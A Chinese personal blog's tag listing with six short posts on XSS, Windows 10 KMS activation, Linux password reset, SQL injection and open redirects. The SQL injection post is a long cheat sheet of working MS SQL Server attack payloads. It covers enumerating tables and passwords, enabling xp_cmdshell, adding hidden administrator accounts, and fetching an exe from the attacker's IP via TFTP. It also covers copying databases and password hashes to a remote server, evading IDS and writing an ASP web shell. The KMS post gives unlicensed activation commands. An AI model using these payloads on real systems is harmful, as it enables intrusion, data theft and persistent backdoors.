首页
关于
友链
推荐
肥啾解析
百度一下
肥啾GPT
Search
1
宝塔面板登录 phpMyAdmin 提示服务器和客户端上指示的HTTPS之间不匹配
269 阅读
2
Customer complaints evolve with in-car tech
188 阅读
3
JavaScript解析
153 阅读
4
内连接,左连接,右连接作用及区别
111 阅读
5
所谓关系
109 阅读
默认分类
网游架设
手机游戏
python
PHP
Mysql
VBA
C++
JAVASCRIPT
javascript基础
Oracle
生产管理
计划控制
ERP系统开发
APS排产
MES研究
考勤系统
CPA
财管
实务
经济法
战略
审计
税法
藏书架
古典名著
世界名著
编程秘籍
攻防渗透
经管书籍
大佬传经
风雅读物
考试相关
心情格言
拾玉良言
外文报刊
外刊随选
Facebook
Twitter
China Daily
软考
登录
Search
标签搜索
期刊读物
古文
何瑜明
累计撰写
160
篇文章
累计收到
154
条评论
首页
栏目
默认分类
网游架设
手机游戏
python
PHP
Mysql
VBA
C++
JAVASCRIPT
javascript基础
Oracle
生产管理
计划控制
ERP系统开发
APS排产
MES研究
考勤系统
CPA
财管
实务
经济法
战略
审计
税法
藏书架
古典名著
世界名著
编程秘籍
攻防渗透
经管书籍
大佬传经
风雅读物
考试相关
心情格言
拾玉良言
外文报刊
外刊随选
Facebook
Twitter
China Daily
软考
页面
关于
友链
推荐
肥啾解析
百度一下
肥啾GPT
搜索到
6
篇与
的结果
2025-10-16
XSS攻击方式
XSS(跨站脚本攻击)是一种通过注入恶意脚本代码到网页中,利用浏览器解析执行实施攻击的Web安全漏洞1。其核心原理是利用Web应用对用户输入数据过滤不足,将恶意脚本输出到客户端浏览器执行2。攻击原理详解漏洞成因未对用户输入进行充分验证、过滤及HTML实体编码恶意脚本通过URL参数、表单提交等方式直接输出至客户端浏览器浏览器无法区分正常内容与恶意脚本,直接执行注入的代码技术实现攻击者通常注入JavaScript代码(也可用VBScript、Flash等)通过script标签、事件处理器(如onload)或DOM操作触发执行类型 特点 危害场景 反射型XSS 通过恶意链接触发,非持久化 钓鱼链接、盗取Cookie 存储型XSS 代码存入数据库,持久化攻击 论坛留言、用户资料页DOM型XSS 纯前端漏洞,不经过服务器 动态修改DOM结构的页面存储型XSS的特殊性攻击者提交的恶意代码会被保存到服务器数据库(如论坛评论),当其他用户访问时,服务器会被动返回这些含恶意脚本的正常页面,形成"服务器→浏览器→攻击"的链条。反射型/DOM型XSS这两种类型完全在客户端完成攻击链,服务器仅作为非故意的中转者(反射型XSS中服务器反射了恶意参数,但未存储)。关键区别服务器文件本身未被篡改(对比:SQL注入会直接修改数据库)攻击依赖的是服务器对用户输入的不当处理和浏览器的脚本执行机制举例说明:假设攻击者在论坛发帖包含script恶意代码script:① 服务器存储了这段文本(非代码)② 当其他用户访问时,服务器返回包含该文本的HTML页面③ 用户浏览器误将文本当作可执行脚本解析防御本质是让服务器告诉浏览器:"这是要显示的文本,不是可执行的代码"(通过htmlspecialchars等编码实现)
2025年10月16日
2 阅读
0 评论
0 点赞
2025-09-03
WIN10专业版激活
命令行依次运行,等到提示后再运行下一句slmgr /ipk W269N-WFGWX-YVC9B-4J6C9-T83GXslmgr /skms kms.loli.bestslmgr /ato
2025年09月03日
3 阅读
0 评论
0 点赞
2023-11-16
重置linux密码
按E进入单用户模式添加该语句,然后C+X重启进入单用户模式输入IS查看系统分区,再输入mount -o -remount, -rw / 重新挂载根分区输入passwd重置密码重启生效命令touch /.autorelabel再输入exec /sbin/init等待1分钟提示重启OK
2023年11月16日
8 阅读
0 评论
0 点赞
2023-02-07
SQL注入常用
1.判断有无注入点; and 1=1 and 1=22.猜表一般的表的名称无非是admin adminuser user pass password 等..and 0<>(select count() from )and 0<>(select count(*) from admin) —判断是否存在admin这张表3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个and 0<(select count(*) from admin)and 1<(select count(*) from admin)4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.and 1=(select count() from admin where len()>0)–and 1=(select count(*) from admin where len(用户字段名称name)>0)and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止and 1=(select count() from admin where len()>0)and 1=(select count(*) from admin where len(name)>6) 错误and 1=(select count(*) from admin where len(name)>5) 正确 长度是6and 1=(select count(*) from admin where len(name)=6) 正确and 1=(select count(*) from admin where len(password)>11) 正确and 1=(select count(*) from admin where len(password)>12) 错误 长度是12and 1=(select count(*) from admin where len(password)=12) 正确6.猜解字符and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位and 1=(select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) —这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的 ASSIC码就OK.最后把结果再转换成字符.group by users.id having 1=1–group by users.id, users.username, users.password, users.privs having 1=1–; insert into users values( 666, attacker, foobar, 0xffff )–UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable-UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)-UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-UNION Select TOP 1 login_blank>_name FROM logintable-UNION Select TOP 1 password FROM logintable where login_blank>_name=Rahul–看_blank>服务器打的补丁=出错了打了SP4补丁and 1=(select @@VERSION)–看_blank>数据库连接账号的权限,返回正常,证明是 _blank>服务器角色sysadmin权限。and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))–判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)and sa=(Select System_blank>_user)–and user_blank>_name()=dbo–and 0<>(select user_blank>_name()–看xp_blank>_cmdshell是否删除and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = X AND name = xp_blank>_cmdshell)–xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:inetpubwwwrootxplog70.dll–反向PING自己实验;use master;declare @s int;exec sp_blank>_oacreate “wscript.shell”,@s out;exec sp_blank>_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–加帐号;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add–创建一个虚拟目录E盘:;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:inetpubwwwrootmkwebdir.vbs -w “默认Web站点” -v “e”,”e:”–访问属性:(配合写入一个webshell)declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse爆库 特殊_blank>技巧::%5c= 或者把/和 修改%5提交and 0<>(select top 1 paths from newtable)–得到库名(从1到5都是系统的id,6以上才可以判断)and 1=(select name from master.dbo.sysdatabases where dbid=7)–and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)依次提交 dbid = 7,8,9…. 得到更多的_blank>数据库名and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 adminand 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=adminand uid>(str(id))) 暴到UID的数值假设为18779569 uid=idand 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_idand 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in(id,…)) 来暴出其他的字段and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名依次可以得到_blank>密码。。。。。假设存在 user_blank>_id username ,password 等字段and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)得到WEB路径;create table [dbo].[swap] ([swappass]char);–and (select top 1 swappass from swap)=1–;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)–;use ku1;–;create table cmd (str image);– 建立image类型的表cmd存在xp_blank>_cmdshell的测试过程:;exec master..xp_blank>_cmdshell dir;exec master.dbo.sp_blank>_addlogin jiaoniang$;– 加SQL帐号;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;–;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;–;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;–;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;–exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务exec master..xp_blank>_servicecontrol start, server; DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net localgroup administrators jiaoniang$ /add; exec master..xp_blank>_cmdshell tftp -i youip get file.exe– 利用TFTP上传文件;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat如果被限制则可以。select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)查询构造:Select * FROM news Where id=… AND topic=… AND …..adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>select 123;–;use master;–:a or name like fff%;– 显示有一个叫ffff的用户哈。and 1<>(select count(email) from [user]);–;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;–;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;–;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;–;update [users] set email=(select top 1 count(id) from password) where name=ffff;–;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;–;update [users] set email=(select top 1 name from password where id=2) where name=ffff;–上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。通过查看ffff的用户资料可得第一个用表叫ad然后根据表名 ad得到这个表的ID 得到第二个表的名字insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)–insert into users values( 667,123,123,0xffff)–insert into users values ( 123, admin–, password, 0xffff)–;and user>0;and (select count(*) from sysobjects)>0;and (select count(*) from mysysobjects)>0 //为access_blank>数据库枚举出数据表名;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);–这是将第一个表名更新到aaa的字段处。读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);–然后id=1552 and exists(select * from aaa where aaa>5)读出第二个表,一个个的读出,直到没有为止。读字段是这样:;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));–然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));–然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名获得数据表名update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]获得数据表字段名update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]绕过IDS的检测[使用变量];declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:1、 开启远程_blank>数据库基本语法select from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select from table1 )参数: (1) OLEDB Provider name2、 其中连接字符串参数可以是任何端口用来连接,比如select from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select from table3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。基本语法:insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select from table1) select from table2这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select from table1) select from table2insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)select * from master.dbo.sysdatabasesinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)select * from user_blank>_database.dbo.sysobjectsinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)select * from user_blank>_database.dbo.syscolumns复制_blank>数据库:insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select from table1) select from database..table1insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select from table2) select from database..table2复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select from _blank>_sysxlogins) select from database.dbo.sysxlogins得到hash之后,就可以进行暴力破解。遍历目录的方法: 先创建一个临时表:temp;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–;insert temp exec master.dbo.xp_blank>_availablemedia;– 获得当前所有驱动器;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:;– 获得子目录列表;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:;– 获得所有子目录的目录树结构,并寸入temp表中;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:webindex.asp;– 查看某个文件的内容;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:;–;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c: *.asp /s/a;–;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:InetpubAdminScriptsadsutil.vbs enum w3svc;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:;– (xp_blank>_dirtree适用权限PUBLIC)写入表:语句1:and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin));–语句2:and 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin));–语句3:and 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin));–语句4:and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));–语句5:and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));–语句6:and 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin));–语句7:and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin));–语句8:and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin));–语句9:and 1=(Select IS_blank>_MEMBER(db_blank>_owner));–把路径写到表中去:;create table dirs(paths varchar(100), id int)–;insert dirs exec master.dbo.xp_blank>_dirtree c:–and 0<>(select top 1 paths from dirs)–and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))–;create table dirs1(paths varchar(100), id int)–;insert dirs exec master.dbo.xp_blank>_dirtree e:web–and 0<>(select top 1 paths from dirs1)–把_blank>数据库备份到网页目录:下载;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:webdown.bak;–and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。and 1=(select user_blank>_id from USER_blank>_LOGIN)and 0=(select user from USER_blank>_LOGIN where user>1)-=- wscript.shell example -=-declare @o intexec sp_blank>_oacreate wscript.shell, @o outexec sp_blank>_oamethod @o, run, NULL, notepad.exe; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe–declare @o int, @f int, @t int, @ret intdeclare @line varchar(8000)exec sp_blank>_oacreate scripting.filesystemobject, @o outexec sp_blank>_oamethod @o, opentextfile, @f out, c:boot.ini, 1exec @ret = sp_blank>_oamethod @f, readline, @line outwhile( @ret = 0 )beginprint @lineexec @ret = sp_blank>_oamethod @f, readline, @line outenddeclare @o int, @f int, @t int, @ret intexec sp_blank>_oacreate scripting.filesystemobject, @o outexec sp_blank>_oamethod @o, createtextfile, @f out, c:inetpubwwwrootfoo.asp, 1exec @ret = sp_blank>_oamethod @f, writeline, NULL,<% set o = server.createobject(“wscript.shell”): o.run( request.querystring(“cmd”) ) %>declare @o int, @ret intexec sp_blank>_oacreate speech.voicetext, @o outexec sp_blank>_oamethod @o, register, NULL, foo, barexec sp_blank>_oasetproperty @o, speed, 150exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528waitfor delay 00:00:05; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05–xp_blank>_dirtree适用权限PUBLICexec master.dbo.xp_blank>_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。create table dirs(paths varchar(100), id int)建表,这里建的表是和上面 xp_blank>_dirtree相关连,字段相等、类型相同。insert dirs exec master.dbo.xp_blank>_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
2023年02月07日
34 阅读
0 评论
0 点赞
2022-08-10
开放式重定向漏洞
这种漏洞发生在当目标对象访问一个Web网站时,Web网站返回给浏览器一个不同域(domain)下的新的URL。开放式重定向利用对一个给定域的信任诱使目标对象访问一个恶意Web网站。网络钓鱼攻击也可以采用重定向以诱使用户相信他们正在向可信网站提交信息,而实际上,他们正在将信息发送到恶意网站。辅助其他攻击手段,开放式重定向也可以使黑客从他们的恶意网站上传播恶意软件或者窃取用户身份认证的令牌。开放式重定向一般发生在开发者误信了攻击者控制的输入而将网站重定向到另一个站点,这通常是通过URL参数、HTML刷新标签、DOM(Document Object Model,文档对象模型)中widow对象的location属性等实现的。很多Web网站都是通过在原始URL的参数中设置目标URL来有意实现用户访问的重定向的。应用程序通过使用这个参数来告诉浏览器向目标URL发送一个GET请求,例如,假定Google网站具有重定向到Gmail的功能,就可以通过访问如下URL实现: 在这种情况下,当我们访问上面的URL时,Google网站会接收到一个HTTP的GET请求,然后依据redirect_to参数中指定的值来确定将你的浏览器重定向到哪里。在这之后,Google网站服务器会返回一个用于指示浏览器重定向用户的HTTP响应状态码。通常,这个状态码是302,但有时也可能是301、303、307或308。这些HTTP响应状态码告诉浏览器请求的网页找到了,但是需要浏览器发起一个GET请求到redirect_to参数值,https://www.gmail.com/这个参数值也在HTTP响应Location头中。Location头表示了向哪里重定向GET请求。现在,假设攻击者修改了原始的URL,如下所示: 如果Google没有验证redirect_to参数是否为其将访问者重定向到一个自有合法站点,攻击者就可以将该参数的值换成它们自己的URL。结果是,HTTP响应可能会引导浏览器向https://www..com/发起GET请求。一旦攻击者已经引导用户到他们的恶意网站,就可以发起进一步的攻击。当检查这类漏洞时,要重点关注具有特定名称的URL参数,例如url=、redirect=、next=等,因为这些都有可能会表示引导用户重定向去的URL。另一个需要注意的是,重定向参数不总是明显命名的,参数也可能随着网站的不同而不同,即使同一个网站内部不同的链接时也可能不同。在有些情况下,参数可能以单个字母的形式表示,例如r=或u=等。除了基于参数的攻击之外,HTML标签和JavaScript都可以重定向浏览器。HTML标签可以告知浏览器刷新网页,并向标签中的content属性定义的URL发起GET请求。下面是一个例子: content属性定义了浏览器发起HTTP请求的两个步骤。首先,content属性定义了浏览器在向URL发起HTTP请求前需要等待的时间,在本例中,这个时间是0秒。其次,content属性确定了浏览器向其发起GET请求的网站中URL的参数,在本例中,这个参数是https://www.google.com。当攻击者具有控制标签的content属性的能力时,或者通过其他漏洞能够注入他们自己的标签时,就可以利用这种重定向行为。攻击者还可以通过使用JavaScript修改文档对象模型(DOM)中window对象的location属性来实现重定向用户。DOM是用于HTML和XML文档的API,它允许开发者修改网页的结构、风格和内容。因为location属性表示了请求将被重定向到哪里,浏览器将立刻解释JavaScript脚本并重定向到指定的URL。攻击者可以通过如下形式的JavaScript脚本修改window的location属性:通常,仅当攻击者能够执行JavaScript语句时才能设置window.location的属性值,而获得JavaScript执行权限一般是通过跨站脚本漏洞或者网站允许用户自定义重定向URL的漏洞来实现。
2022年08月10日
37 阅读
0 评论
1 点赞
1
2
0:00